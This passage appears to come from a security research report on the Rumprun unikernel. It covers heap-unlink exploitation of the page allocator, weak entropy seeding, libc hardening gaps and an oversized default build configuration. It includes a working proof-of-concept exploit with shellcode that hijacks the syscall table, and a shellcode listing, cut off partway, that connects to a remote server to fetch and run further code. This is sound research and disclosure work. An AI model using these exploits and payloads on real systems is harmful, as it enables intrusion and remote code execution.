& (1UL << (pagenum & (PAGES_PER_MAPWORD-1)))) != 0;

}

static int chunklevel(struct chunk *ch) {

bmk_assert(ch->magic == CHUNKMAGIC);

return ch->level;

}

static void freechunk_link(void *addr, int order) {

struct chunk *ch = addr;

ch->level = order;

ch->magic = CHUNKMAGIC;

LIST_INSERT_HEAD(&freelist[order], ch, entries);

}

static void sanity_check(void) {

unsigned int x;

struct chunk *head;

for (x = 0; x < FREELIST_LEVELS; x++) {

LIST_FOREACH(head, &freelist[x], entries) {

bmk_assert(!allocated_in_map(head));

bmk_assert(head->magic == CHUNKMAGIC);

}

}

}
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void bmk_pgfree(void *pointer, int order) {

struct chunk *freed_ch, *to_merge_ch;

unsigned long mask;

/* free the allocation in the bitmap */

map_free(pointer, 1UL << order);

pgalloc_usedkb -= order2size(order)>>10;

/* create as large a free chunk as we can */

for (freed_ch = pointer; (unsigned)order < FREELIST_LEVELS; ) {

mask = order2size(order);

if ((unsigned long)freed_ch & mask) {

to_merge_ch = addr2chunk(freed_ch, -mask);

if (!addr_is_managed(to_merge_ch)

|| allocated_in_map(to_merge_ch)

|| chunklevel(to_merge_ch) != order)

break;

freed_ch->magic = 0;

/* merge with predecessor, point freed chuck there */

freed_ch = to_merge_ch;

} else {

to_merge_ch = addr2chunk(freed_ch, mask);

if (!addr_is_managed(to_merge_ch)

|| allocated_in_map(to_merge_ch)

|| chunklevel(to_merge_ch) != order)

break;

freed_ch->magic = 0;

/* merge with successor, freed chuck already correct */

}

to_merge_ch->magic = 0;

LIST_REMOVE(to_merge_ch, entries);

order++;

}

freechunk_link(freed_ch, order); /* This calls LIST_INSERT_HEAD, so the

* small chunk exploit works here too */

sanity_check(); /* Checks that each free chunk is not allocated

* in the map and its canary == CHUNKMAGIC */

}

Listing 26: Abbreviated version of bmk_pgfree and attendant functions (from lib/libbmk_core/pgalloc.c)

There are several items of note in the code above.

• The magic value for page chunks is a preprocessor define, and does not even contain null bytes — it is

essentially useless.

• freechunk_link calls LIST_INSERT_HEAD; meaning that the exploit for small chunks described in the pre-

vious section likely also works here.

• to_merge_ch, whose value is determined by pointer, is passed to the macro LIST_REMOVE. pointer’s initial

value is the attacker-controllable origp.

• The macro SANITY_CHECK is called just before the function returns. It asserts that all free chunks (a) are

marked as unallocated in the page map and (b) have magic values equal to CHUNKMAGIC.
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The attacker-controllable value pointer (or some transformation of it) is passed to two different routines that

modify the linked list. The first is the function freechunk_link(), which validates the page chunk canary and

then invokes LIST_INSERT_HEAD. (This implies that the small-chunk pointer write described in the previous

section is likely possible here as well, although more work is required to ensure that the changes made will

pass sanity_check().)

The second possible modification made to the chunk header is done via the macro LIST_REMOVE, the invo-

cation which expands to the following in the previous code.

1 if (to_merge_ch->entries.le_next != NULL)

2 to_merge_ch->entries.le_next->entries.le_prev = to_merge_ch->entries.le_prev;

3 *(to_merge_ch->entries.le_prev) = to_merge_ch->entries.le_next;

Listing 27: Abbreviated LIST_REMOVE (from include/bmk_core/queue.h) as expanded in bmk_memfree()

Here, there are two assignments where both the l-value and r-value are fields of the struct chunk obtained

by dereferencing the pointer to_merge_ch, which the attacker controls. As long as the attacker can set mh_a

lignpad so that to_merge_ch points to a fake chunk, he can write a pointer to an arbitrary location.

The only difficulty the attacker faces lies in crafting a suitable mh_alignpad, the value of which is determined

by the following system of equations.

origp = (chunk body base pointer)− origp

mask = 1 � (index+ 5)

to_merge_ch =

{
origp− mask when origp & mask 6= 0

origp+ mask when origp & mask = 0

Finally, after mask is added to or subtracted from to_merge_ch, the header to which to_merge_ch points is

validated. Unless all of the following conditions are true, merging will not be attempted, and invocation of

the vulnerable macro will be skipped.

• The address is not allocated in the page bitmap (i.e. it has not been allocated or was previously freed).

• The address is managed (i.e. it is within the space designated for use by the page allocator).

• The magic and order values of the fake chunk at the locationpointedby to_merge_ch are valid. The former’s

value comes from a static preprocessor define, and the latter can be calculated from the known chunk size.

The latter two conditions are trivial to satisfy, while the first can often be satisfied if the chunk in which the

attacker has placed the fake chunk is freed before the chunk whose mh_alignpad has beenmodified. (In fact,

the chunk currently being freed also qualifies, as it is marked as freed in the bitmap earlier in bmk_pgfree.)

There is one major caveat. In cases where the latter branch (”merge with predecessor”) is taken, the system

of equations is such that to_merge_ch cannot be made to point into the page chunk immediately before the

one that is to be freed. Given the binary nature of the page allocator, this is true of about half of all page

chunks, assuminguniformallocations. However, if attackers can control the size of an allocation, they can also

deterministically induce the chunk to be allocated in a location such that the more easily exploitable ”merge

with successor” branch will be taken when it is freed. However, even in cases where only a ”merge with

predecessor” operation is possible, several options typically remain viable, although the attacker’s choices

will be somewhat restricted. For instance, the 24-byte fake chunk can be placed an earlier, already-freed

chunk, or in the chunk currently being freed rather than the one to be merged into it.

Finally, the attacker must craft a fake page chunk. To reiterate, page chunk headers and LIST_REMOVE have

the following structure.
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177 #define CHUNKMAGIC 0x11020217

178 struct chunk {

179 int level, magic;

180

181 struct {

182 struct chunk *le_next;

183 struct chunk **le_prev;

184 } entries;

185 };

Listing 28: struct chunk from lib/libbmk_core/pgalloc.c

1 if (to_merge_ch->entries.le_next != NULL)

2 to_merge_ch->entries.le_next->entries.le_prev = to_merge_ch->entries.le_prev;

3 *(to_merge_ch->entries.le_prev) = to_merge_ch->entries.le_next;

Listing 29: Abbreviated LIST_REMOVE (from include/bmk_core/queue.h) as expanded in bmk_memfree()

All the attacker must do is set the above values so that level and chunk are valid, set le_next to the pointer

value to be written, and set le_prev to the address to write to. The desired write is performed on line 3

of LIST_REMOVE. (Note that a reciprocal write of le_prev into le_next + 0x10 is performed on line 2. If the

pointer being written points to exploit code, that code should start with a jmp +0x18 instruction to skip over

the 8 bytes that will be overwritten starting 0x10 bytes into the buffer.)

In short, an arbitrary pointer write can be achieved for a chunk layout that satisfies the following conditions.

• The attacker controls the mh_alignpad field of a chunk of size 4MB or greater which will be freed.

• The attacker controls at least 24 bytes of data in a region chunk that is (a) not allocated in the pagemap

and (b) within the 4GB range preceding that chunk OR within the 4MB chunk itself (which counts as ‘‘not

allocated’’). Not all of these locations are feasible in every case due to certain features of the pointer

arithmetic involved.

• Both the address to be written and the value to be written to are writable memory address.

The following is an example program that uses this exploit to achieve arbitrary code execution in the simpler

‘‘merge with successor’’ case, under the assumption that the attacker knows the memory layout. The outline

of the attack is as follows.

• The large chunk free exploit is used to overwrite the syscall_write handler in the syscall table, whose

address is assumed known.

• The next time any text is output to the console (for instance, when reporting the return value of main() on

program exit), the attacker’s shellcode will be executed instead of sys_write.

• The first segment of shellcode repairs the syscall table and creates a duplicate stack frame whose return

address is changed to the first instruction of the second segment. The stack pointer is set to point to the

fake stack frame.

• The shellcode then jumps to the real syscall_write to ensure execution continues as normal; when it

completes, it ‘‘returns’’ to the second segment of the exploit code, which saves the return value, prints a

message, then sets the stack pointer to its original value and returns the saved return value of syscall_-

write.

The above process results in arbitrary code execution while preserving all aspects of Rumprun’s normal

operation.
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1 #include <stdlib.h>

2 #include <string.h>

3 #include <unistd.h>

4

5 static const char chunk2str[] = "This string shouldn't be interfered with.";

6

7 int main(int argc, char** argv) {

8 void *chunk0, *chunk1, *chunk2;

9

10 chunk0 = malloc(0x800); // chunk0 exists to align chunk1 to an address that

11 chunk1 = malloc(0x800); // causes it to be merged with its successor rather

12 chunk2 = malloc(0x800); // than predecessor, which makes this example simpler

13

14 /* Omitted debug code used to print chunk addresses. */

15

16 /*

17 * Args are strcpy()'d into chunk1.

18 * A limitation in either Xen or Rump prevents such long command line

19 * arguments from being passed in directly, so in the full version of this

20 * exploit code the strings are hardcoded in.

21 */

22 for (int i = 1; i < argc; ++i) {

23 strcpy(chunk1, argv[i]);

24 }

25 strcpy(chunk2, chunk2str);

26

27 printf("%s", chunk1);

28 printf("%s", chunk2);

29

30 free(chunk0);

31 free(chunk1);

32 free(chunk2);

33

34 return 0;

35 }

Listing 30: An abbreviated version of unikernel-tests/rumprun/src/4-poc-4-unlink-big.c

In our experiments with the above, we constructed an attack string which produced the following memory

structure in chunk1.

Offset relative to chunk1 base ptr Value

0 Padding

fake_chunk_addr + 0x0 fake_chunk.magic

fake_chunk_addr + 0x4 fake_chunk.level

fake_chunk_addr + 0x8 fake_chunk.next

fake_chunk_addr + 0x10 fake_chunk.prev

fake_chunk_addr + 0x10 jmp 0x18 (relative) + padding

fake_chunk_addr + 0x28 Exploit shellcode + padding

chunk2 - 0x8 memalloc_hdr.alignpad
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The exploit shellcode was structured as follows.

1 ; Write 0x14c3e0 to 0x296748, restoring sys_write

2 mov eax,0x00296748

3 mov ebx,0x0014c3e0

4 mov qword [rax],rbx

5

6 ; Increment the stack pointer --- must be done first!

7 mov rax,rsp

8 sub rsp,0x50

9

10 ; Copy the stack frame byte-by-byte

11 mov rdi,[rax]

12 mov [rax-0x50],rdi

13 mov rdi,[rax+0x08]

14 mov [rax-0x48],rdi

15 mov rdi,[rax+0x10]

16 ; ...omitting similar instructions...

17 mov rdi,[rax+0x48]

18 mov [rax-0x8],rdi

19

20 ; Replace the return addr of the new stack frame with the address of the code

21 ; after the `jmp` instruction below

22 mov edi,0x00bcb0d2

23 mov [rax],rdi

24

25 ; Jump to 0x14c3e0 (sys_write)

26 mov eax,0x0014c3e0

27 jmp rax

28

29 ; Save the return value of sys_write

30 mov ebx,eax

31

32 ; Call puts with the address of a string stored just after the shellcode

33 mov edi,0x00bcb0f3

34 mov eax,0x001bdbd0

35 call rax

36

37 ; Return the stack pointer to its original position and return the

38 ; original return value of sys_write

39 add rsp,0x48

40 mov eax,ebx

41 ret

Listing 31: Abbreviated excerpt of unikernel-tests/rumprun/exploits/4-poc-4-unlink-big.asm

Note: The actual code employs various tricks to avoid using null bytes.

We also store the string "H3110, W0R1D!" just after the last instruction above. Running the exploit, we see

that the message is printed the next time a line is written (just after main() exits) and Rumprun continues on

to exit cleanly, invoking sys_write as normal afterward.
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=== calling "krn/4-poc-4-unlink-big.bin" main() ===

chunk1 @ 0xbcb008, ap = 0x10, m = ef, i = 7, w = 2

chunk2 @ 0xbcc008, ap = 0x10, m = ef, i = 7, w = 2

/* omitted invalid UTF8 chars */

This string shouldn't be interfered with.

=== main() of "krn/4-poc-4-unlink-big.bin" returned 0 ===

H3110, W0R1D!

=== _exit(0) called ===

/* omitted debug output */

Listing 32: Output of unikernel-tests/rumprun/src/4-poc-4-unlink-big.c (exploited)

5.8 Entropy and Random Number Generation

Rumprun supports the traditional BSD Unix cryptographic random number generator interfaces. As dis-

cussed in Section 5.6.2, Rumprun provides access to the BSD sysctl interface via the sysctl(3) API and the

underlying __sysctl syscall wrapper stub. [Prob] Rumprun also exposes the /dev/random and /dev/urandom

device files to application code via the rump_vfs_makeonedevnode function pointer, which is always set to

the static makeonedevnode function within src-netbsd/sys/rump/librump/rumpvfs/devnodes.c. The open

handler for these device files is the rndopen functionwithin src-netbsd/sys/dev/rndpseudo.c, which sources

their output from the internal NetBSD random number generator pool. Random data extracted from the

pool is passed through a SHA-1-based ”folding” RNG that also ”stirs” hash data back into the pool. [Kere]

Rumprun does not appear to persist entropy seeds across reboots by adding them to this pool; the pool is

primarily seeded and fed through src-netbsd/sys/kern/kern_rndq.c, which provides the internal rnd_atta

ch_source and rnd_add_data APIs to add an entropy source that may be used to supply on-demand data via

a callback, and directly add — ideally — random data into the pool, respectively. Within NetBSD, these APIs

are used heavily by device drivers to seed hardware-derived entropy. We profiled all active callers to these

APIs by modifying them to print the source name passed to rnd_attach_source, and the data buffer passed

to rnd_add_data. We additionally replaced rnd_add_data with a macro used to print contextual information

about callers. Analysis of these code paths indicates that only weak and predictable values are used to seed

random number generation.

void _rnd_add_uint32(krndsource_t *, uint32_t);

void _rnd_add_uint64(krndsource_t *, uint64_t);

-void rnd_add_data(krndsource_t *, const void *const, uint32_t,

- uint32_t);

+void __rnd_add_data(krndsource_t *, const void *const, uint32_t,

+ uint32_t, char const*, char const*, int);

+#define rnd_add_data(rs, data, len, entropy) __rnd_add_data(rs, data, len, entropy, __FUNCTION__,

__FILE__, __LINE__)

+

void rnd_add_data_sync(krndsource_t *, const void *, uint32_t,

uint32_t);

void rnd_attach_source(krndsource_t *, const char *,

Listing 33: Call Tracing Diff of rnd_add_data from src-netbsd/sys/sys/rndsource.h
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5.8.1 Analysis of rnd_attach_source Entropy Sources

The rnd_init function within src-netbsd/sys/kern/kern_rndq.c sets up several sources by default:

• "cpurng": CPU RNG-based (i.e. RDRAND)

• "callout": Clock skew/CPU counter-based

• "printf": Sourced from SHA512 hashes of putchar output and the timestamp of each kprintf call

• "autoconf": Adds a 32-bit null value to its pool

– This behavior will be invoked when device configurations are discovered. A side effect of the rnd_add_

uint32 function used is that it also adds the return value of rnd_counter to the pool.

However, two of these implementations are not enabled in Rumprun. Due to the initial purpose of NetBSD

Rump kernels being userspace-versions of kernel code, the "cpurng" source is specifically disabled when

_RUMPKERNEL is defined, implying that userspace code is not sufficiently privileged to directly interact with the

RDRAND CPU RNG. Similarly, this conditional check also disables all CPU RNG usages throughout Rumprun,

and results in the heavily-used rnd_counter function returning a value generated from the unikernel’s own

uptime. The resulting impact of this is that Rumprun unikernels will not benefit from one of the strongest

sources of entropy that they can access. More damning still is that, as documented by Intel, the RDRAND

instruction does not have any privilege restrictions, obviating the need for such an #ifdefguard: [(Inb, Int16]

Note that RDRAND is available to any system or application software running on the platform.

That is, there are no hardware ring requirements that restrict access based on process privilege

level. As such, RDRAND may be invoked as part of an operating system or hypervisor system

library, a shared software library, or directly by an application.

Additionally, while the "printf" source is not disabled by conditional macro directives within src-netbsd

/sys/kern/kern_rndq.c, its implementation within src-netbsd/sys/kern/subr_prf.c is implicitly disabled

as RND_PRINTF is not defined when Rumprun is built. However, it should be noted that such output-based

”sources” of entropy are unlikely to provide benefit in general, and specifically in the context of unikernels.

In general, public application codebases’ STDOUT outputs may be easily guessed; in the case of Rumprun

unikernels, initial outputs are generally identical and server-side code will generally use dedicated logging

utilities instead of STDOUT.

Furthermore, it is unclear if the "autoconf" source has any impact on Rumprun unikernels as the associated

callbacks were not observed executing during testing.

Lastly, the rump_init function within src-netbsd/sys/rump/librump/rumpkern/rump.c attaches the "rump_hy

perent" ”hyper”-entropy source implemented within src-netbsd/sys/rump/librump/rumpkern/hyperentro

py.c. This source, through the internal rumpuser_getrandom function implemented in rumprun/lib/libbmk_

rumpuser/rumpuser_base.c uses the bmk_platform_cpu_clock_monotonic function which returns the uptime

of the host in nanoseconds as a uint64_t. As such information is accessible to all VMs on the samehypervisor

host, the reliance on such data for entropy can enable a variety of cross-tenant attacks.

5.8.2 Analysis of rnd_add_data Callers

Rumprun unikernels also experience calls made to rnd_add_data during initialization and runtime execution.

During initialization, one call is made by the rndattach function within src-netbsd/sys/dev/rndpseudo.c as

registered with rump_pdev_add by src-netbsd/sys/rump/dev/lib/librnd/rnd_component.c. This function

will add to the global pool the value returned by rndpseudo_counter, an identical copy of the rnd_counter

function described above. Printf debugging statements added to rnd_add_data indicate that the initial call

made by rndattach is consistently the same value (abf3a6b4) across multiple builds of different Rumprun
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unikernel images, and remains the same even when introducing non-optimizable processing loops that

spend multiple seconds of real time prior to the binuptime(9) call. Regardless of the delays introduced,

the initial binuptime(9) call fills in a sec value of 1 and a frac value of 166020696663380, yielding a counter

value of 3030840235 (0xb4a6f3ab). While we did not research this behavior further, it appears to indicate that

fundamental timekeeping APIs do not behave in Rumprun unikernels as intended in NetBSD’s kernel.

static inline uint32_t

rndpseudo_counter(void)

{

struct bintime bt;

uint32_t ret;

#if defined(__HAVE_CPU_COUNTER)

if (cpu_hascounter())

return (cpu_counter32());

#endif

volatile int a = 0;

while (a < 0xffffffff) {

a += 1;

}

binuptime(&bt);

ret = bt.sec;

ret ^= bt.sec >> 32;

ret ^= bt.frac;

ret ^= bt.frac >> 32;

printf("bt.sec: %lu\n", bt.sec);

printf("bt.frac: %lu\n", bt.frac);

printf("ret: %u\n", ret);

return ret;

}

Listing 34: Modified rndpseudo_counter from src-netbsd/sys/dev/rndpseudo.c

7f61c: c7 44 24 0c 00 00 00 mov DWORD PTR [rsp+0xc],0x0

7f623: 00

7f624: 8b 44 24 0c mov eax,DWORD PTR [rsp+0xc]

7f628: 83 f8 ff cmp eax,0xffffffff

7f62b: 74 17 je 7f644 <rumpns_rndattach+0xb4>

7f62d: 0f 1f 00 nop DWORD PTR [rax]

7f630: 8b 44 24 0c mov eax,DWORD PTR [rsp+0xc]

7f634: 83 c0 01 add eax,0x1

7f637: 89 44 24 0c mov DWORD PTR [rsp+0xc],eax

7f63b: 8b 44 24 0c mov eax,DWORD PTR [rsp+0xc]

7f63f: 83 f8 ff cmp eax,0xffffffff

7f642: 75 ec jne 7f630 <rumpns_rndattach+0xa0>

7f644: 48 8d 6c 24 10 lea rbp,[rsp+0x10]

7f649: 48 89 ef mov rdi,rbp

7f64c: e8 5f 98 10 00 call 188eb0 <rumpns_binuptime>

Listing 35: Disassembly of the Delay Loop
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The second call to rnd_add_data during Rumprun startup uses a similarly static value of 00000000, and

is made by sysctl_lookup(9) in src-netbsd/sys/kern/kern_sysctl.c, which adds the raw binary data of

queried strings and structs to the global entropy pool. The particular rnd_add_data call is made from the CT

LTYPE_STRUCT switch case, and is made for the net.inet.ipdad_count node, which configures the ”number

of arp(4) probes sent for Address Conflict Detection.” [Proc]

NetBSD additionally sources entropy from the network by passing the headers of all received ethernet

frames into the global entropy pool via rnd_add_data. This behavior is implemented in the ether_input

function within src-netbsd/sys/net/if_ethersubr.c. If a Rumprun unikernel is provided a network inter-

face, it will use NetBSD’s networking stack and all ethernet frames sent to the unikernel instance will result in

calls to rnd_add_data. Typically, this will result in 14-byte payloads containing the destination MAC address,

the source MAC address, and the EtherType, in that order. While this implementation may result in helpful

additional entropy being added to the system, it has several weaknesses that can affect Rumprun due to

its other issues in gathering entropy. In general, the destination MAC address observed will always be the

same over the course of a unikernel instance’s lifetime, or longer if given a fixedMAC address. It can also be

an Ethernet multicast address which embeds a portion of the multicast IP address into the 6-octet Ethernet

address. Additionally, the source MAC address will generally be that of the gateway routing packets to the

Rumprun VM, but may include other MAC addresses from in-subnet cross-VM traffic. Lastly, in practice, the

EtherType will always be one of the following values 0x0800 (IPv4), 0x0806 (ARP), or 0x86DD (IPv6). In general,

while these values may be tricky for an external attacker to guess, they do not constitute a source of quality

entropy, and in general may be easily guessed by other hosts on the same subnet.

5.9 Standard Library Hardening

Rumprun is based on NetBSD, which implements the C standard library via BSD libc.

5.9.1 The %n Format Specifier

As the NetBSD libc supports the %n specifier, attacker-controllable format strings can write arbitrary data.

5.9.2 Custom Format Specifiers

The NetBSD libc does not support registering custom format specifiers, meaning that the table of function

pointers (a potential exploitation target) generally associated with custom specifiers is not present.

5.9.3 The _FORTIFY_SOURCEMacro

BSD libc supports the _FORTIFY_SOURCEmacro, and NetBSD sets -D_FORTIFY_SOURCE=2 by default in

share/mk/bsd.sys.mk, which is included indirectly by a largequantity of kernelmakefiles. However, Rumprun’s

build scripts will undefine this macro via -U_FORTIFY_SOURCE if the -O2 flag is set.

1077 # At least gcc on Ubuntu wants to set -D_FORTIFY_SOURCE=2

1078 # when compiling with -O2 ... While we have nothing against

1079 # ssp, we don't want things to conflict with what the NetBSD

1080 # build imagines is going on. Therefore, force-disable that

1081 # helpful default flag.

1082 if cppdefines _FORTIFY_SOURCE -O2; then

1083 appendvar EXTRA_CFLAGS -U_FORTIFY_SOURCE

1084 fi

Listing 36: buildrump.sh/buildrump.sh

TheRumprundocumentation recommends using build-rr.sh for building. This script invokes buildrump.sh

without an -r (release) flag, defaulting to a debug build. In debug builds, buildrump.sh will add an -O2

flag, causing _FORTIFY_SOURCE to be disabled. Conversely, in release builds, no optimizations are applied,

yielding a similar result as _FORTIFY_SOURCE requires __OPTIMIZE__ > 0 to enable protections. [Kera]
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5.10 Default Functionality

Previously, we mentioned unikernel advocates’ claim that specialized unikernel images omit code related to

unused functionality. Our experiments suggest that this is not always the case, at least with regards to syscalls

and their underlying handlers, which appear to be present in full regardless of what code the application

calls/includes. For instance, our bootstrap shellcode worked even when run from example code that did not

use any network functionality; it made no calls to networking-related functions and included no networking-

related headers. (Of course, this was predicated on Xen having provided the VM with a virtual network

interface in the first place.) Intuitively, this seems to run counter to the aforementioned claim (depending on

one’s definition of ‘‘unused’’).

This appears to be causedby an overly-permissive default configuration in rumprun/etc/rumprun-bake.conf,

which specifies profiles used when baking Rumprun images. _foundation, the base configuration from

which all others are derived, includes an enormous amount of functionality, much of it involving networking

and filesystems.

xen_pv, the configuration we used to run Rumprun images on Xenwith paravirtualized drivers, includes even

more functionality by way of _miconf. [Kana]

conf _foundation

create "basic components for Rumprun"

add -lrumpvfs # Rump kernel file system faction

-lrumpkern_bmktc # bmk hypercall timecounter driver for NetBSD kernel

-lrumpkern_mman # Memory management

-lrumpdev # Rump kernel device faction

-lrumpfs_tmpfs # tmpfs (efficient in-memory file system)

-lrumpnet_config # Network configuration

-lrumpnet # Rump kernel networking faction

-lrumpdev_bpf # Berkeley Packet Filter

-lrumpdev_vnd # Present a regular file as a block device (/dev/vnd)

-lrumpdev_rnd # /dev/{,u}random

-lrumprunfs_base # Filesystem base

fnoc

conf _netinet

create "TCP/IP (v4)"

add -lrumpnet_netinet # IPv4 incl. TCP and UDP (PF_INET)

-lrumpnet_net # Network interface and routing support

-lrumpnet # Rump kernel networking faction

fnoc

conf _netinet6

create "TCP/IP (v6)"

add -lrumpnet_netinet6 # IPv4 incl. TCP and UDP (PF_INET6)

-lrumpnet_net

-lrumpnet

fnoc

conf _netunix

create "local domain sockets"

add -lrumpnet_local # Local domain sockets (PF_LOCAL/PF_UNIX)

-lrumpnet

fnoc
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conf _stdfs

create "selection of FS drivers"

add -lrumpfs_ffs # Berkeley Fast File System

-lrumpfs_cd9660 # ISO9660

-lrumpfs_ext2fs # Linux Ext2

-lrumpdev_disk # Disk-like device support (used e.g. by file systems)

-lrumpvfs # Rump kernel file system faction

fnoc

conf _sysproxy

create "system call proxy support"

add -lrumpkern_sysproxy # Remote system call support (rump kernel as a server)

fnoc

conf _miconf

create "useful MI/pseudo driver set"

assimilate _foundation

_netinet

_netinet6

_netunix

_stdfs

_sysproxy

fnoc

conf xen_pv

create "Xen with paravirt. I/O drivers"

assimilate _miconf

add -lrumpfs_kernfs # /kern fictional file system

-lrumpnet_xenif

-lrumpxen_xendev

fnoc

Listing 37: Excerpted from rumprun/etc/rumprun-bake.conf (backslashes removed, comments added)

Note: As each command must be a single line, comments are not possible in the actual config. We have

added them to annotate the configuration.

We removed various combinations of the network-related lines from thedefault configuration and attempted

to build a Rumprun image from code that included no network-related headers, with the entire application

simply being int main() {}. However, this resulted in numerous linker errors related to components in

librumprun_base, lib/rumprun-xen, etc. This suggests that there are at least some major components in

this list that Rumprun cannot be built without regardless of whether they are needed by application code.

However,manyof the above canbe removed, andwedid succeed inbuilding _foundationwith the following

minimal configuration. This reduced the sizes of our images from 19-20 MiB to about 18MiB. [Kanc]
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conf _foundation

create "basic components for the Rumprun unikernel"

add -lrumpnet_config

-lrumpnet_net

-lrumpnet

-lrumpdev

fnoc

conf _miconf

create "general useful MI/pseudo driver set"

assimilate _foundation

_stdfs

fnoc

conf xen_pv

create "Xen with paravirtualized I/O drivers"

assimilate _miconf

add -lrumpfs_kernfs

-lrumpnet_xenif

-lrumpxen_xendev

fnoc

Clearly, it is possible to further lessen Rumprun’s attack surface by removing a great deal of functionality

from the default bake configuration. Indeed, such modifications are briefly hinted at in the image-building

tutorial on Rumprun’s wiki. However, given how central a reduced attack surface is to unikernels’ claims to

security, it wouldbehoove the Rumprundevelopers to (a) bemore explicit about the importance of removing

unnecessary functionality from the default bake configs, or even (b) include only minimal configs by default,

requiring users to manually add necessary components when building application images. [Kera]

5.11 Additional Payloads

5.11.1 Using Syscalls to Load Shellcode from a Remote Server

As mentioned previously, Rumprun does have syscalls, although it invokes them through a function, rump

_syscall(), rather than a trap/interrupt. Once this function’s address is known, it can be used to invoke

arbitrary syscalls via their numerical identifiers. In other words, an attacker who gains code execution only

needs to scan memory for rump_syscall() — in practice a fairly trivial task — and afterwards can make use of

the syscall API to conveniently carry out complex exploits.

This shellcode provides a bootstrappingmethod for further exploits. It uses Rumprun’s syscall API to repeat-

edly load additional shellcode from a remote server and send back the results, enabling arbitrary I/O.

The payload works as follows. Full NASM-style assembly is provided.

1. Scan memory for the rump_syscall() function. At least the first 24 bytes will be the same regardless

of the application code, which is sufficient for identification — it proved unique in our test code as well

as in images built from the rumprun-packages repository, e.g. apache2.

Starting at the 24th byte are two call instructions. In x86, addresses passed to call are relative, so

as long as the functions being called are at the same position relative to rump_syscall(), the attacker

can search for even more than 24 bytes. In our tests, this was indeed the case (although just searching

based on the first 24 bytes was already sufficient).
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2. Construct a struct sockaddr_in referencing the address and port of the remote server. Allocate input

and output buffers for later use.

3. Invoke the SYS_connect syscall to connect to the server.

4. Use SYS_recv to get shellcode from the server, reading it into the input buffer.

Our shellcode is assumed to have the signature int fn(void* out), where the return value indicates

how many bytes were written to the output buffer out.

5. Call the shellcode, passing it the pointer to the output buffer. Use SYS_send to send back the buffer

contents.

6. Repeat from step 3.

It is worth noting that in actual application code, the Rump syscalls are generally invoked via small stdlib-

compliant wrapper functions. These functions store their arguments in a callarg struct corresponding to

the syscall, invoke it, and then do some error checking. As such, the attacker’s shellcode must replicate at

least the argument setup code for each syscall. This can be done simply by copying the relevant instructions

directly from any Rumprun image, with just one modification: the instruction call rsys_seterrno must be

removed, as its offset is relative to the original instructions. (Removing it has no significant side effects.)

1370 int rump___sysimpl_connect(int s, const struct sockaddr * name, socklen_t namelen) {

1371 register_t retval[2];

1372 int error = 0;

1373 int rv = -1;

1374 struct sys_connect_args callarg;

1375

1376 memset(&callarg, 0, sizeof(callarg));

1377 SPARG(&callarg, s) = s;

1378 SPARG(&callarg, name) = name;

1379 SPARG(&callarg, namelen) = namelen;

1380

1381 error = rsys_syscall(SYS_connect, &callarg, sizeof(callarg), retval);

1382 rsys_seterrno(error);

1383 if (error == 0) {

1384 if (sizeof(int) > sizeof(register_t))

1385 rv = *(int *)retval;

1386 else

1387 rv = *retval;

1388 }

1389 return rv;

1390 }

1391 #ifdef RUMP_KERNEL_IS_LIBC

1392 __weak_alias(connect,rump___sysimpl_connect);

1393 __weak_alias(_connect,rump___sysimpl_connect);

1394 __strong_alias(_sys_connect,rump___sysimpl_connect);

1395 #endif /* RUMP_KERNEL_IS_LIBC */

Listing 38: src-netbsd/sys/rump/librump/rumpkern/rump_syscalls.c

5.11.2 A Note on Networking

Rumprun implements its network stack on top of Xen’s paravirtualized network interface. In the our shell-

code, we scanned for and directly called Rumprun’s POSIX networking APIs. However, it is also possible to

perform networking operations by directly interacting with the interface over memory-mapped I/O.
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1 _ s t a r t :

2 mov rax ,0 x41f7894956415741 ; The sequence to

3 mov rbx ,0 x5355ce8949544155 ; search fo r ( f i r s t

4 mov rcx ,0 xe818ec8348ef6348 ; 24b of rump_syscal l

5 mov edx ,0 x100000 ; I n i t i a l add to search from

6 loop :

7 mov r10 , [ rdx ] ; F i r s t 8 bytes

8 add rdx ,0 x8

9 cmp rax , r10

10 jne loopend1

11 mov r10 , [ rdx ] ; Next 8 bytes

12 cmp rbx , r10

13 jne loopend2

14 add rdx ,0 x8

15 mov r10 , [ rdx ] ; Las t 8 bytes

16 cmp rcx , r10

17 jne loopend3

18 jmp found ; Found <rump_syscal l >!

19 loopend3 :

20 sub rdx ,0 x8

21 loopend2 :

22 sub rdx ,0 x8

23 loopend1 :

24 jmp loop ; Repeat

25 nop

26 found :

27 lea r12 , [ rdx−0x10 ] ; Get s t a r t of rump_syscal l

28 ; STACK POS VARIABLE SIZE

29 ; rsp+0x0 serveraddr 0x10

30 ; rsp+0x10 c l ien taddr 0x10 ( unused so f a r )

31 ; rsp+0x20 buf_recv 0x1000

32 ; rsp+0x1020 buf_send 0x1000

33 sub rsp ,0 x2020 ; A l loca te s tack space

34

35 ; Zero out the address s t r u c t s

36 mov qword [ rsp ] ,0 x0

37 mov qword [ rsp+0x8 ] ,0 x0

38 mov qword [ rsp+0x10 ] ,0 x0

39 mov qword [ rsp+0x18 ] ,0 x0

40

41 ; Construct server addr. Remember to byte−swap !
42 mov dword [ rsp+0x4 ] ,0 x186E850A ; addr

43 mov word [ rsp+0x2 ] ,0 x901f ; port

44 mov word [ rsp+0x0 ] ,0 x0200 ; type = AF_INET

45 mov edx ,0 x0 ; protocol

46 mov esi ,0 x2 ; type (SOCK_DGRAM)

47 mov edi ,0 x2 ; domain ( AF_INET )

48 c a l l socket ; socket ( . . . )

49 mov r13 , rax ; save returned sockfd

50

51 ; Connect to remote server

52 mov edx ,0 x10 ; s i z eo f ( addrlen )

53 lea esi , [ rsp ] ; &serveraddr

54 mov rdi , r13 ; sockfd

55 c a l l connect ; connect ( . . . )

56

57 ; Store ’ Hello , world ! ! ! \ 0 ’ in the output buf fe r

58 mov dword [ rsp+0x1020 ] ,0 x6c6c6548

59 mov dword [ rsp+0x1024 ] ,0 x77202c6f

60 mov dword [ rsp+0x1028 ] ,0 x646c726f

61 mov dword [ rsp+0x102c ] ,0 x00212121

62

63 ; Send an i n i t i a l message

64 mov ecx ,0 x0 ; f l ags

65 mov edx ,0 x10 ; s i z eo f ( buf_send )

66 lea esi , [ rsp+0x1020 ] ; &buf_send

67 mov rdi , r13 ; sockfd

68 c a l l send

69 exec_loop :

70 mov ecx ,0 x0 ; f l ags = NULL

71 mov edx ,0 x1000 ; s i z eo f ( buf )

72 lea esi , [ rsp+0x20 ] ; &buf_recv

73 mov rdi , r13 ; sockfd

74 c a l l recv ; recv ( . . . )

75

76 ; Ca l l the received shel lcode ! Expects a fn

77 ; i n t shel lcode ( void* output_buf ) tha t re tu rns

